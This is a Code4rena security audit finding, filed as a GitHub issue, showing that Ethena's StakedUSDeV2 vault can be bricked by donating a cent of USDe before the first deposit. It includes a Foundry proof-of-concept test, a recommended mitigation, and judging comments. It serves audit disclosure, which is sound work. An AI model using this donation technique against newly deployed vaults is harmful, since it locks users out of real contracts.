code-423n4 / 2023-10-ethena-findings

5 stars 5 forks source link

In for a penny, in for ten quadrillion dollars #713

Closed c4-submissions closed 11 months ago

c4-submissions commented 11 months ago

Lines of code

https://github.com/code-423n4/2023-10-ethena/blob/ee67d9b542642c9757a6b826c82d0cae60256509/contracts/StakedUSDe.sol#L214

Vulnerability details

Impact

StakedUSDeV2 can be bricked for a penny.

Proof of concept

The _checkMinShares() requirement called after any deposit (and withdrawal)

function _checkMinShares() internal view {
    uint256 _totalSupply = totalSupply();
    if (_totalSupply > 0 && _totalSupply < MIN_SHARES) revert MinSharesViolation();
}

reverts a first deposit which returns less than 1e18 shares. The share price is (totalSupply() + 1)/(totalAssets() + 1) so this first minimal deposit would normally be one USDe dollar, since 1e18 * (0 + 1)/(0 + 1) = 1e18. But by donating a USDe directly to the newly deployed StakedUSDeV2 the minimum first deposit becomes (a + 1) * 1e18, since (a + 1) * 1e18 * (0 + 1)/(a + 1) = 1e18. A donation of as little as a penny (a = 1e16) thus forces the first deposit to be at least ten quadrillion and one USDe dollars ((1e16 + 1) * 1e18), which effectively bricks the contract.

Paste into StakedUSDe.t.sol

function testInflationBricking() public {
    uint256 penny = 1e16;
    uint256 gazillion = 1e34 + 1e18; // = (1e16 + 1) * MIN_SHARES = ten quadrillion and one dollars.
    usdeToken.mint(alice, penny);
    usdeToken.mint(bob, gazillion);

    // Alice donates a penny to StakedUSDe
    vm.startPrank(alice);
    usdeToken.transfer(address(stakedUSDe), penny);

    // Bob cannot deposit less than ten quadrillion and one dollars.
    vm.startPrank(bob);
    usdeToken.approve(address(stakedUSDe), gazillion);
    vm.expectRevert(IStakedUSDe.MinSharesViolation.selector);
    stakedUSDe.deposit(gazillion - 1, bob);

    stakedUSDe.deposit(gazillion, bob);

    assertEq(usdeToken.balanceOf(bob), 0);
    assertEq(usdeToken.balanceOf(address(stakedUSDe)), gazillion + penny);
    assertEq(stakedUSDe.balanceOf(bob), 1e18);
}

Recommended mitigation steps

Remove the minimum shares restriction and instead prevent inflation attacks by an initial deposit.

Assessed type

ERC4626

c4-pre-sort commented 11 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 11 months ago

raymondfam marked the issue as duplicate of #32

c4-judge commented 11 months ago

fatherGoose1 marked the issue as satisfactory